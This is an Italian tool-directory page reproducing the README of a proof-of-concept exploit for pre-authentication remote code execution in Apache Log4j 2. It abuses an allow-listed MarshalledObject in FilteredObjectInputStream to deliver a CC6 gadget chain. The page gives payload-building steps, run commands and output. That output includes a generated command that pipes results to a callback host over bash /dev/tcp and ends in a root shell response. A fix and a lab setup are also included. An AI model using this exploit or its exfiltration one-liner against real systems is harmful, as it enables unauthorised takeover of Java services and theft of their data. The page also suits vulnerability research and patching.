Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
log4j2-rce — RCE pre-autenticazione tramite bypass di MarshalledObject in FilteredObjectInputStream in Apache Log4j 2 | Kitploit
Strumenti/GitHubGitHub/hypnguyen1209/log4j2-rce
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSviluppo PayloadBinary Exploitation
GitHubhypnguyen1209/log4j2-rce

log4j2-rce

RCE pre-autenticazione tramite bypass di MarshalledObject in FilteredObjectInputStream in Apache Log4j 2

Vedi Repository
1951 giorno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Bypass di FilteredObjectInputStream di Log4j

RCE pre-autenticazione su qualsiasi servizio Java che deserializza LogEvent tramite FilteredObjectInputStream di Log4j. Nessuna credenziale richiesta.

Segnalato come GitHub issue #4255 il 24 agosto 2026.

Cosa fa

Log4j include FilteredObjectInputStream (FOIS) come wrapper di deserializzazione sicuro. Sovrascrive resolveClass() con una lista consentita così che solo org.apache.logging.log4j.*, java.lang.*, java.util.* e poche classi esplicite possano passare.

Una di quelle classi esplicite è java.rmi.MarshalledObject:

root@kitploit:~
// SerializationUtil.java:81
public static final List<String> REQUIRED_JAVA_CLASSES = Arrays.asList(
        "java.math.BigDecimal",
        "java.math.BigInteger",
        "java.rmi.MarshalledObject",   // <-- il problema
        ...);

MarshalledObject.get() crea internamente un nuovo, semplice ObjectInputStream. Nessun filtro. Qualsiasi cosa avvolta dentro un MarshalledObject viene deserializzata senza alcuna restrizione, bypassando completamente la lista consentita.

Log4j stesso esegue questo wrapping. LogEventProxy (il proxy di serializzazione per ogni LogEvent) memorizza il messaggio dell'evento in un campo MarshalledObject<Message>. Durante la deserializzazione, chiama marshalledMessage.get() per recuperare il messaggio. Quella chiamata crea lo stream senza filtro. Fine della partita.

Come viene bypassato FOIS

Il filtro vede solo i descrittori di classe di primo livello nello stream:

root@kitploit:~
// FilteredObjectInputStream.java:66-72
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
        throws IOException, ClassNotFoundException {
    String name = SerializationUtil.stripArray(desc.getName());
    if (!(isAllowedByDefault(name) || allowedExtraClasses.contains(name))) {
        throw new InvalidObjectException(
            "Class is not allowed for deserialization: " + name);
    }
    return super.resolveClass(desc);
}

FOIS controlla LogEventProxy (pacchetto log4j, consentito), MarshalledObject (nella lista consentita) e byte[] (primitivo). Tutti passano. La catena di gadget CC6 è nascosta dentro MarshalledObject.objBytes come byte grezzi. FOIS non la vede mai.

Quando viene eseguito LogEventProxy.readResolve():

root@kitploit:~
// Log4jLogEvent.java:1265-1274
private Message message() {
    if (marshalledMessage != null) {
        try {
            return marshalledMessage.get();   // ObjectInputStream senza filtro
        } catch (final Exception ex) {
            // ignorami
        }
    }
    return new SimpleMessage(messageString);
}

marshalledMessage.get() crea un semplice ObjectInputStream, la catena CC6 si attiva e il comando viene eseguito. Il blocco catch inghiotte la ClassCastException quando il risultato del gadget non è un Message, quindi il server risponde normalmente. Nessun errore, nessuna voce di log.

Per confronto, ObjectMessage lo fa correttamente:

root@kitploit:~
// ObjectMessage.java:132-136
private void readObject(ObjectInputStream in) throws ... {
    in.defaultReadObject();
    obj = SerializationUtil.readWrappedObject(in);  // crea uno stream interno FILTRATO
}

LogEventProxy dovrebbe usare lo stesso pattern ma non lo fa.

Come funziona l'attacco

root@kitploit:~
Attaccante                                   Target (ricevitore basato su FOIS)
   |                                              |
   |  HTTP POST /log                              |
   |  Body: LogEventProxy serializzato            |
   |  ------------------------------------------> |
   |                                              |
   |                 FilteredObjectInputStream.readObject()
   |                   ├── resolveClass(LogEventProxy)     ✓ pacchetto log4j
   |                   ├── resolveClass(MarshalledObject)  ✓ lista consentita
   |                   └── resolveClass(byte[])            ✓ primitivo
   |                         |
   |                 LogEventProxy.readResolve()
   |                   └── message()
   |                       └── marshalledMessage.get()
   |                           └── new ObjectInputStream(objBytes)   NESSUN FILTRO
   |                               └── HashSet.readObject()          CC6
   |                                   └── TiedMapEntry.hashCode()
   |                                       └── LazyMap.get()
   |                                           └── ChainedTransformer
   |                                               └── Runtime.exec(cmd)
   |                                              |
   |  HTTP 200 OK: "log event"                    |
   |  <------------------------------------------ |

Il server risponde 200 e processa l'evento come se nulla fosse successo.

Costruzione del payload

Il trucco è inserire la catena CC6 dentro MarshalledObject.objBytes senza che si attivi prematuramente.

GadgetMessage implementa Message e sovrascrive writeReplace() per restituire il gadget CC6:

  1. Costruisci un Log4jLogEvent con GadgetMessage come messaggio.
  2. Serializzalo. LogEventProxy.writeObject() chiama marshall(message), che inserisce GadgetMessage nel costruttore di MarshalledObject.
  3. Il costruttore serializza GadgetMessage. writeReplace() scatta e sostituisce con l'HashSet CC6.
  4. Ora MarshalledObject.objBytes contiene la catena CC6. GadgetMessage non appare mai sul filo.

GadgetMessage esiste solo lato attaccante. Non deve essere presente nel classpath del target.

Versioni interessate

ComponenteVulnerabile
log4j-api (FilteredObjectInputStream)2.11.0 fino a 2.24.3
log4j-core (campo MarshalledObject di LogEventProxy)2.8.0 fino a 2.24.3

Il target necessita anche di una libreria di gadget nel classpath. Questa PoC usa Commons Collections 3.2.1 (catena CC6).

Esecuzione

Requisiti: Java 11+, Maven, Python 3.10+, Docker (solo lab vittima)

Costruisci e avvia la vittima:

root@kitploit:~
cd lab
docker build -t fois-bypass-lab .
docker run -d --name fois-lab -p 8000:8000 fois-bypass-lab
cd ..

Costruisci l'exploit (o lascia che poc.py lo faccia al primo avvio):

root@kitploit:~
cd exploit && mvn package -q -DskipTests && cd ..

Esegui:

root@kitploit:~
# --lhost è il tuo IP raggiungibile dal target
# per il lab Docker sullo stesso host, usa l'IP del bridge docker0
python3 poc.py -u http://127.0.0.1:8000 --cmd id --lhost 172.17.0.1

Output:

root@kitploit:~
[*] Log4j FOIS MarshalledObject Bypass + CC6 RCE
[*] target:  http://127.0.0.1:8000
[*] command: id
[*] callback: 172.17.0.1:9999

[*] generating payload ...
    [gen] command: { id; } 2>&1 | bash -c 'exec 3<>/dev/tcp/172.17.0.1/9999; cat >&3'
    [gen] payload: 2619 bytes
[*] payload: 2619 bytes

[*] listening on 0.0.0.0:9999
[*] POST http://127.0.0.1:8000/log
[+] HTTP 200 - payload deserializzato
[+] response: OK: log event

[+] RCE output:
uid=0(root) gid=0(root) groups=0(root)

Porta di callback personalizzata:

root@kitploit:~
python3 poc.py -u http://127.0.0.1:8000 --cmd "cat /etc/hostname" --lhost 172.17.0.1 --lport 4444

Come funziona poc.py

  1. Al primo avvio, chiama mvn package in exploit/ per compilare PayloadGenerator e scaricare le dipendenze. Viene saltato nelle esecuzioni successive.
  2. Esegue java -cp exploit/target/... PayloadGenerator <cmd> sull'host. Produce un LogEvent serializzato in base64 con CC6 dentro un MarshalledObject.
  3. Apre un listener TCP su --lport (default 9999) per ricevere l'output del comando.
  4. Invia i byte grezzi come HTTP POST all'endpoint /log del target.
  5. Il payload esegue il comando sul target e reindirizza l'output al listener tramite bash /dev/tcp.

File

root@kitploit:~
log4j2-rce/
├── README.md
├── poc.py                          # script exploit
├── exploit/                        # attaccante (gira sull'host)
│   ├── pom.xml                     # log4j 2.24.3, commons-collections 3.2.1
│   └── src/
│       ├── PayloadGenerator.java   # CC6 + MarshalledObject + LogEvent
│       └── GadgetMessage.java      # Message con writeReplace()
└── lab/                            # vittima (Docker)
    ├── Dockerfile
    ├── pom.xml                     # log4j 2.24.3, commons-collections 3.2.1
    └── src/
        └── HttpLogReceiver.java    # endpoint HTTP che usa FOIS

lab/ è la vittima. HttpLogReceiver è un ricevitore di log HTTP che usa FilteredObjectInputStream. Configurazione predefinita, nessun flag di debug, nessuna debolezza artificiale. Commons Collections nel classpath come dipendenza transitiva realistica.

exploit/ è lo strumento dell'attaccante. PayloadGenerator costruisce il payload serializzato sull'host. Non tocca mai il container vittima.

Fix

  1. Rimuovi java.rmi.MarshalledObject da REQUIRED_JAVA_CLASSES.
  2. Sostituisci il campo MarshalledObject<Message> in LogEventProxy con un byte[] serializzato tramite SerializationUtil.writeWrappedObject() / readWrappedObject(). È lo stesso pattern che ObjectMessage già usa correttamente.

Versioni di Commons Collections

CC 3.2.1 e precedenti: InvokerTransformer si serializza liberamente. CC6 funziona così com'è.

CC 3.2.2 (novembre 2015): Aggiunta una protezione di serializzazione in InvokerTransformer che blocca la catena a meno che org.apache.commons.collections.enableUnsafeSerialization sia true.

Il bypass del filtro esiste indipendentemente dalla versione di CC. La protezione di CC è difesa in profondità a livello di gadget, non una soluzione per il filtro rotto. Qualsiasi altra libreria di gadget senza protezione (Groovy, BeanShell, Spring Beans, ecc.) abilita lo stesso attacco.

Pulizia

root@kitploit:~
docker rm -f fois-lab
docker rmi fois-bypass-lab

Aspetti legali

Solo per test autorizzati. Ottieni il permesso scritto prima di eseguirlo contro qualsiasi cosa che non possiedi.

Scarica lo strumento